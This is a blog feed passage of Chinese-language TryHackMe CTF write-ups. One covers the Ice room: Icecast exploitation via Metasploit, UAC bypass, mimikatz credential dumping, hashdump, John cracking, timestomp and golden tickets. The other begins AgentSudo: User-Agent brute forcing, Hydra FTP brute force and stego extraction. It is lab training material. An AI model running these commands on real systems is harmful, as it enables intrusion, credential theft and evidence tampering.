&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:506NW8ST11%O6=M506ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M506NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:=N%T=80%CD=Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: 4 hops
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean: 1h15m00s, deviation: 2h30m00s, median: 0s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: , NetBIOS MAC: 02:bd:72:1c:16:7b (unknown)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Computer name: Dark-PC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS computer name: DARK-PC\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Workgroup: WORKGROUP\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System time: 2021-07-31T08:02:13-05:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing: disabled (dangerous, but default)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2.02:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2021-07-31T13:02:13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: 2021-07-31T12:49:56
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TRACEROUTE (using port 110/tcp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOP RTT ADDRESS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1 139.52 ms 10.13.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2 ... 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4 283.86 ms 10.10.209.59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 104.04 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Once the scan completes, we&amp;rsquo;ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?一堆字，題目不會講重點ㄇ…他問 RDP 是什麼 Port&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3389&lt;/code&gt;What service did nmap identify as running on port 8000? (First word of this service)- 用 &lt;code&gt;-A&lt;/code&gt; 的 nmap 可以看出&lt;/li&gt;
&lt;li&gt;他是 &lt;code&gt;Icecast&lt;/code&gt;What does Nmap identify as the hostname of the machine? (All caps for the answer)- 一樣是 &lt;code&gt;-A&lt;/code&gt; 的 nmap 有寫到 &lt;code&gt;Host:&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DARK-PC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gain-access"&gt;Gain Access&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Now that we&amp;rsquo;ve identified some interesting services running on our target machine, let&amp;rsquo;s do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What type of vulnerability is it? Use &lt;a href="https://www.cvedetails.com"&gt;https://www.cvedetails.com&lt;/a&gt; for this question and the next.我們知道他是 &lt;code&gt;Icecast&lt;/code&gt; 就可以找到他的弱點&lt;/li&gt;
&lt;li&gt;不過我是直接 Google &lt;code&gt;Icecast RCE&lt;/code&gt;&lt;del&gt;我覺得 cvedetails 的搜尋很難用&lt;/del&gt;&lt;a href="https://www.cvedetails.com/cve/CVE-2004-1561/"&gt;https://www.cvedetails.com/cve/CVE-2004-1561/&lt;/a&gt;題目問說 Type- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1c452-SmZtXs1.png"&gt;所以是 &lt;code&gt;Execute Code Overflow&lt;/code&gt;What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000- &lt;code&gt;CVE-2004-156&lt;/code&gt;After Metasploit has started, let&amp;rsquo;s search for our target exploit using the command &amp;lsquo;search icecast&amp;rsquo;. What is the full path (starting with exploit) for the exploitation module? This module is also referenced in &amp;lsquo;RP: Metasploit&amp;rsquo; which is recommended to be completed prior to this room, although not entirely necessary.- 開啟 msf&lt;code&gt;msfconsole&lt;/code&gt;輸入 &lt;code&gt;search icecast&lt;/code&gt; 尋找 icecast 相關攻擊 module- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5ed43-JahaOFV.png"&gt;可以找到 module 為- &lt;code&gt;exploit/windows/http/icecast_header&lt;/code&gt;準備 Exploit- 輸入 &lt;code&gt;use 0&lt;/code&gt; 或 &lt;code&gt;use exploit/windows/http/icecast_header&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;show options&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8b2ac-ebWMHSw.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看到我們需要輸入的參數RHOSTS&lt;/li&gt;
&lt;li&gt;LHOST&lt;code&gt;set RHOSTS 10.10.209.59``set LHOSTS 10.13.21.55&lt;/code&gt;輸入 &lt;code&gt;exploit&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="escalate"&gt;Escalate&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Woohoo! We&amp;rsquo;ve gained a foothold into our victim machine! What&amp;rsquo;s the name of the shell we have now?&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f5a5-In1AKy0.png"&gt;&lt;/li&gt;
&lt;li&gt;他自動彈回了一個 &lt;code&gt;meterpreter&lt;/code&gt; 的 shellWhat user was running that Icecast process? The commands used in this question and the next few are taken directly from the &amp;lsquo;RP: Metasploit&amp;rsquo; room.- 輸入 &lt;code&gt;ps&lt;/code&gt; 可以看到所有的 process&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c8d7e-d4jMJL3.png"&gt;&lt;/li&gt;
&lt;li&gt;而如上圖，&lt;code&gt;Icecast2.exe&lt;/code&gt; 使用者為 &lt;code&gt;DARK&lt;/code&gt;What build of Windows is the system?- 偵察系統版本有助於後續的工作&lt;/li&gt;
&lt;li&gt;可以輸入 &lt;code&gt;sysinfo&lt;/code&gt; 觀察&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6f186-PIFkh0P.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7601&lt;/code&gt;Now that we know some of the finer details of the system we are working with, let&amp;rsquo;s start escalating our privileges. First, what is the architecture of the process we&amp;rsquo;re running?- 如上的 &lt;code&gt;sysinfo&lt;/code&gt; ，可以看到架構是 &lt;code&gt;x64&lt;/code&gt;Now that we know the architecture of the process, let&amp;rsquo;s perform some further recon. While this doesn&amp;rsquo;t work the best on x64 machines, let&amp;rsquo;s now run the following command &lt;code&gt;run post/multi/recon/local_exploit_suggester&lt;/code&gt;. &lt;em&gt;This can appear to hang as it tests exploits and might take several minutes to complete&lt;/em&gt;- 接下來我們要使用 meterpreter 的自動 exploit 推薦器來做自動化測試&lt;/li&gt;
&lt;li&gt;&lt;code&gt;run post/multi/recon/local_exploit_suggester&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da595-ROwgkuO.png"&gt;Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?- 第一個回傳的是 &lt;code&gt;exploit/windows/local/bypassuac_eventvwr&lt;/code&gt;按下鍵盤 &lt;code&gt;ctrl + z&lt;/code&gt; 先把 meterpreter session 丟去背景- 準備來下 explit 指令&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;use exploit/windows/local/bypassuac_eventvwr&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/22afd-butocXi.png"&gt;輸入 &lt;code&gt;show options&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c123b-8NpF3XG.png"&gt;確認目前的 session ID- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da8db-yeRDm2Y.png"&gt;&lt;/li&gt;
&lt;li&gt;ID 為 &lt;code&gt;1&lt;/code&gt;設定相關參數- &lt;code&gt;set session 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LHOSTS 10.13.21.55&lt;/code&gt;輸入 &lt;code&gt;run&lt;/code&gt; 開始執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b87c-rCkmQoo.png"&gt;We can now verify that we have expanded permissions using the command &lt;code&gt;getprivs&lt;/code&gt;. What permission listed allows us to take ownership of files?- 輸入 &lt;code&gt;getprivs&lt;/code&gt; 可以看到我們的權限&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71f40-xFxCjcl.png"&gt;&lt;/li&gt;
&lt;li&gt;他說要可以 take ownership of files&lt;/li&gt;
&lt;li&gt;所以是 &lt;code&gt;SeTakeOwnershipPrivilege&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="looting"&gt;Looting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Mentioned within this question is the term &amp;rsquo;living in&amp;rsquo; a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.他說要找印表機相關的程式&lt;/li&gt;
&lt;li&gt;先下 &lt;code&gt;ps&lt;/code&gt; 觀察 processes&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/caa5e-yfRB3fr.png"&gt;透過 Google 可以發現是 &lt;code&gt;spoolsv.exe&lt;/code&gt;- 他的 pid 是 &lt;code&gt;1300&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d8722-1X7x918.png"&gt;輸入 &lt;code&gt;getuid&lt;/code&gt; 觀察目前我們是什麼使用者- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c1cfb-h7Qlwg7.png"&gt;輸入 migrate &lt;code&gt;1300&lt;/code&gt;- 把自己的 process 搬移到 pid &lt;code&gt;1300&lt;/code&gt; 上面&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c73d-xGFilxI.png"&gt;Let&amp;rsquo;s check what user we are now with the command &lt;code&gt;getuid&lt;/code&gt;. What user is listed?- 再輸入一次 &lt;code&gt;getuid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7e213-n76S9D9.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現我們變成 &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; 權限!輸入 &lt;code&gt;load kiwi&lt;/code&gt; 載入 mimikatz- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b386-PosfjpO.png"&gt;輸入 &lt;code&gt;help&lt;/code&gt; 觀察 &lt;code&gt;mimikatz&lt;/code&gt; 使用方法- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1e5b4-oUDlEAd.png"&gt;Which command allows up to retrieve all credentials?- &lt;code&gt;creds_all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b6780-6hVvHWN.png"&gt;Run this command now. What is Dark&amp;rsquo;s password? Mimikatz allows us to steal this password out of memory even without the user &amp;lsquo;Dark&amp;rsquo; logged in as there is a scheduled task that runs the Icecast as the user &amp;lsquo;Dark&amp;rsquo;. It also helps that Windows Defender isn&amp;rsquo;t running on the box ;) (Take a look again at the ps list, this box isn&amp;rsquo;t in the best shape with both the firewall and defender disabled)- 上面就有寫到 &lt;code&gt;Dark&lt;/code&gt; 的密碼為 &lt;code&gt;Password01!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="post-exploitation"&gt;Post-Exploitation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;What command allows us to dump all of the password hashes stored on the system? We won&amp;rsquo;t crack the Administrative password in this case as it&amp;rsquo;s pretty strong (this is intentional to avoid password spraying attempts)輸入 &lt;code&gt;hashdump&lt;/code&gt; 可以 dump 出所有的密碼 hash&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49caa-XUEXCuv.png"&gt;&lt;/li&gt;
&lt;li&gt;其實我們在這邊也可以複製 Dark 的 hash 然後用 John 爆爆看&lt;code&gt;john hash.txt --wordlist=/opt/rockyou.txt --format=NT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b2f74-CPtjE1t.png"&gt;&lt;/li&gt;
&lt;li&gt;可以發現也是可以快速爆出密碼While more useful when interacting with a machine being used, what command allows us to watch the remote user&amp;rsquo;s desktop in real time?- 這題剛開始我以為是說螢幕截圖 &lt;code&gt;screenshot&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/942e3-LFC3mFD.png"&gt;&lt;/li&gt;
&lt;li&gt;輸入完之後會自動的存一張即時的圖檔&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6441e-V1k9CCb.png"&gt;不過後來發現他要是 &lt;code&gt;real time&lt;/code&gt;，所以答案是 &lt;code&gt;screenshare&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/79461-fHJDX5V.png"&gt;&lt;/li&gt;
&lt;li&gt;他會開一個 html 然後自動刷新、可以即時監看&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/efc6a-h18QsIa.png"&gt;How about if we wanted to record from a microphone attached to the system?- 監聽麥克風可以使用 &lt;code&gt;record_mic&lt;/code&gt;To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don&amp;rsquo;t ever do this on a pentest unless you&amp;rsquo;re explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.- 竄改 timestamp 可以用 &lt;code&gt;timestomp&lt;/code&gt;Mimikatz allows us to create what&amp;rsquo;s called a &lt;code&gt;golden ticket&lt;/code&gt;, allowing us to authenticate anywhere with ease. What command allows us to do this?- &lt;code&gt;golden_ticket_create&lt;/code&gt;可以透過 &lt;code&gt;run post/windows/manage/enable_rdp&lt;/code&gt; 開啟RDP&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AgentSudo (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/31/agentsudo-try-hack-me-writeup/</link><pubDate>Sat, 31 Jul 2021 23:44:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/31/agentsudo-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL: &lt;a href="https://tryhackme.com/room/agentsudoctf"&gt;https://tryhackme.com/room/agentsudoctf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.119.64&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老梗 &lt;code&gt;nmap -A 10.10.119.64&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/50fe2-n3zFLNJ.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開FTP&lt;/li&gt;
&lt;li&gt;SSH&lt;/li&gt;
&lt;li&gt;HTTP嘗試進入 HTTP- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b1886-V7uzsli.png"&gt;&lt;/li&gt;
&lt;li&gt;看到他說需要在 useragent 放 &lt;code&gt;Codename&lt;/code&gt; (機密代號)&lt;/li&gt;
&lt;li&gt;又說 Dear agent, 下面有說 &lt;code&gt;Agent R&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以基本上可以先猜測 Agent &lt;code&gt;A&lt;/code&gt; 到 &lt;code&gt;Z&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆猜機密代號"&gt;爆猜機密代號&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;瀏覽器沒有太方便，所以我們先把瀏覽器 request 轉 &lt;code&gt;curl&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/77004-gcmLsCg.png"&gt;&lt;/li&gt;
&lt;li&gt;對著 F12 的 Reuest 右鍵，&lt;code&gt;Copy as cURL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'&lt;/code&gt;curl 轉 Python request- 我使用這個網站 &lt;a href="https://curl.trillworks.com/"&gt;https://curl.trillworks.com/&lt;/a&gt;把 curl 貼上就可以自動轉 python 的 request 了接下來寫一段扣爆破&lt;code&gt;因為如果猜錯他會回傳的字都是一樣的，那就猜測輸入正確時，他回傳的東西會不一樣，所以最簡單的方法可以用字串長度來比對，輸入錯誤時長度是 218 運氣很好，C 就猜到ㄌ&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;: i ,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept-Language&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;en-US,en;q=0.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Connection&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;keep-alive&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Upgrade-Insecure-Requests&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Cache-Control&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;max-age=0, no-cache&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Pragma&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;no-cache&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(&lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.119.64/&amp;#39;&lt;/span&gt;, headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(i,&lt;span style="color:#8be9fd;font-style:italic"&gt;len&lt;/span&gt;(response))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;User-Agent:C&lt;/code&gt; 發 request&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/63c85-w7mG4xG.png"&gt;在 Firefox 上使用右鍵， Edit and Resend&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3cf94-3R51Syu.png"&gt;- 修改 &lt;code&gt;User-Agent&lt;/code&gt; 為 C 並送出可以發現他自動跳轉到這個網頁- http://10.10.119.64/agent_C_attention.php&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8badd-xqNapEK.png"&gt;&lt;/li&gt;
&lt;li&gt;內文中發現了 Agent C 叫做 &lt;code&gt;chris&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;而且他的主管在嘴他說使用弱密碼&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp"&gt;FTP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試爆破 FTP因為 nmap 有掃到 ssh 跟 ftp，隨便取 ftp&lt;/li&gt;
&lt;li&gt;透過 Hydra + Rockyou 字典來爆&lt;code&gt;hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d024e-xlSxZOe.png"&gt;可以了解到帳號為 &lt;code&gt;chris&lt;/code&gt;密碼為 &lt;code&gt;crystal&lt;/code&gt;嘗試登入 FTP- &lt;code&gt;ftp 10.10.119.64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/705be-CO99QUz.png"&gt;&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;ls&lt;/code&gt; 觀察 ftp 裡面的檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b992-J8Qx4iA.png"&gt;輸入 &lt;code&gt;get 檔名&lt;/code&gt; 把檔案依序載下來&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4d70f-xHrtO12.png"&gt;觀察 txt 檔案- &lt;code&gt;cat To_agentJ.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e630d-An6TWpm.png"&gt;&lt;/li&gt;
&lt;li&gt;他說兩張照片都是假ㄉ，裡面有藏東東&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stego"&gt;Stego&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 strings&lt;code&gt;strings cutie.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/deec5-ykQ85yu.png"&gt;&lt;/li&gt;
&lt;li&gt;可以發現裡面藏了一點點的字，但是用奇怪的編碼或加密QQ透過 binwalk 觀察是否裡面有藏檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5791a-RJMynFJ.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 png 後面塞了一個 zip透過 foremost 解出裡面的檔案- &lt;code&gt;foremost cutie.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/327da-kMUJoXd.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現資料夾裡面有一包 zip&lt;/li&gt;
